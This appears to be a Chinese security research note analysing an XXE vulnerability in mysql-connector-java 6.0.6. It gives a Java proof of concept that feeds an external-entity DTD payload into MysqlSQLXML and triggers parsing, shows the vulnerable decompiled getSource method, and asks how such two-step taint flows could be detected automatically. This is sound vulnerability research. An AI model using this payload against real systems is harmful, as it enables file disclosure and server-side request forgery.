三方包源代码下载

pom.xml

  1. <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
  2. <dependency>
  3. <groupId>mysql</groupId>
  4. <artifactId>mysql-connector-java</artifactId>
  5. <version>6.0.6</version>
  6. </dependency>

tests.java

  1. import com.mysql.cj.jdbc.MysqlSQLXML;
  2. import javax.xml.transform.dom.DOMSource;
  3. import java.io.IOException;
  4. import java.security.GeneralSecurityException;
  5. import java.sql.SQLException;
  6. public class SQLXMLXXEDemo {
  7. public static void main(String[] args) throws GeneralSecurityException, IOException, SQLException {
  8. // String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM \"http://localhost:8013/xxff.dtd\">]><name>&xxe;</name>";
  9. // Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
  10. // SQLXML sqlxml = connection.createSQLXML();
  11. // sqlxml.setString(poc);
  12. // sqlxml.getSource(DOMSource.class);
  13. MysqlSQLXML myXML = new MysqlSQLXML(null);
  14. myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://localhost:8013/xxe.dtd\"> %xxe;]>");
  15. myXML.getSource(DOMSource.class);
  16. }
  17. }

关键代码分析

  • 漏洞代码: ```java import javax.xml.parsers.DocumentBuilder;

  1. public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
  2. try {
  3. this.checkClosed();
  4. this.checkWorkingWithResult();
  5. InputSource reader;
  6. if (clazz != null && !clazz.equals(SAXSource.class)) {
  7. SQLException sqlEx;
  8. if (clazz.equals(DOMSource.class)) {
  9. try {
  10. DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
  11. builderFactory.setNamespaceAware(true);
  12. DocumentBuilder builder = builderFactory.newDocumentBuilder();
  13. InputSource inputSource = null;
  14. if (this.fromResultSet) {
  15. inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
  16. } else {
  17. inputSource = new InputSource(new StringReader(this.stringRep));
  18. }
  19. return new DOMSource(builder.parse(inputSource)); //sink点
  20. } catch (Throwable var6) {
  21. sqlEx = SQLError.createSQLException(var6.getMessage(), "S1009", var6, this.exceptionInterceptor);
  22. throw sqlEx;
  23. }
  24. } else {
  25. Object reader;
  26. if (clazz.equals(StreamSource.class)) {
  27. reader = null;
  28. if (this.fromResultSet) {
  29. reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
  30. } else {
  31. reader = new StringReader(this.stringRep);
  32. }
  33. return new StreamSource((Reader)reader);
  34. } else if (clazz.equals(StAXSource.class)) {
  35. try {
  36. reader = null;
  37. if (this.fromResultSet) {
  38. reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
  39. } else {
  40. reader = new StringReader(this.stringRep);
  41. }
  42. return new StAXSource(this.inputFactory.createXMLStreamReader((Reader)reader));
  43. } catch (XMLStreamException var7) {
  44. sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
  45. throw sqlEx;
  46. }
  47. } else {
  48. throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[]{clazz.toString()}), "S1009", this.exceptionInterceptor);
  49. }
  50. }
  51. } else {
  52. reader = null;
  53. if (this.fromResultSet) {
  54. reader = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
  55. } else {
  56. reader = new InputSource(new StringReader(this.stringRep));
  57. }
  58. return new SAXSource(reader);
  59. }
  60. } catch (CJException var8) {
  61. throw SQLExceptionsMapping.translateException(var8, this.exceptionInterceptor);
  62. }
  63. }

```

特殊之处

  • 问题:如何自动识别此类组件漏洞?
  1. 控制流分两段
    1. 允许用户输入数据到setString,污染field变量。
    2. 然后第二次调用同一个类另一个函数,其中xml部分直接从field变量中获取。

      参考材料